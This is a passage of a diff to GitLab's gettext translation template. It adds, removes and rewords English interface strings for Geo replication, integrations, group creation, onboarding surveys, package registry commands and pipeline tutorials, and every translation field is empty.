msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14656,6 +14842,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14680,6 +14869,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14707,6 +14899,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14752,6 +14947,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14764,10 +14962,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14932,6 +15136,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14944,10 +15154,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15193,9 +15406,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15292,16 +15502,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15334,9 +15547,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15391,6 +15601,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15469,7 +15682,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15583,6 +15796,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15643,6 +15859,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15664,13 +15883,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15733,6 +15955,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16051,9 +16276,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16090,22 +16312,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16177,7 +16408,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16192,6 +16423,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16204,6 +16438,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16321,9 +16567,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16354,9 +16597,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16441,9 +16681,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16453,9 +16708,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16609,6 +16861,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16858,6 +17113,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16891,6 +17149,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16903,9 +17164,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16918,6 +17188,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17044,6 +17317,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17083,6 +17359,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17098,10 +17377,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17137,9 +17416,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17215,6 +17503,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17254,6 +17545,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17293,6 +17587,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17308,9 +17605,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17440,7 +17734,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17638,10 +17932,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17719,7 +18013,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17905,7 +18199,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18139,6 +18433,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18208,12 +18505,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18241,6 +18532,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18286,6 +18598,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18388,6 +18703,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18397,6 +18715,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18430,13 +18754,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18460,7 +18784,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18535,6 +18859,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18550,10 +18877,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18640,7 +18967,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18688,6 +19015,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18703,6 +19042,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18796,6 +19138,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18829,6 +19174,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18856,9 +19204,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18895,6 +19264,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19138,18 +19510,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19321,6 +19687,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19357,6 +19729,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19852,7 +20227,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20110,6 +20485,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20197,6 +20575,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20392,6 +20773,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20443,9 +20827,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20734,10 +21115,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20839,6 +21220,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21013,10 +21397,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21274,6 +21658,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21406,6 +21796,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21433,6 +21826,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21601,9 +21997,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21703,9 +22096,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22054,7 +22444,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22081,6 +22471,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22294,6 +22687,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22624,6 +23020,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23005,7 +23404,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23104,7 +23503,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23170,6 +23569,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23197,6 +23599,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23239,6 +23644,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23260,6 +23668,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23311,9 +23722,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23323,6 +23743,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23338,6 +23761,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23383,6 +23809,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23395,12 +23824,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23497,7 +23920,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23512,6 +23935,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23563,6 +23989,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23698,6 +24127,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23776,6 +24208,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23830,6 +24265,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
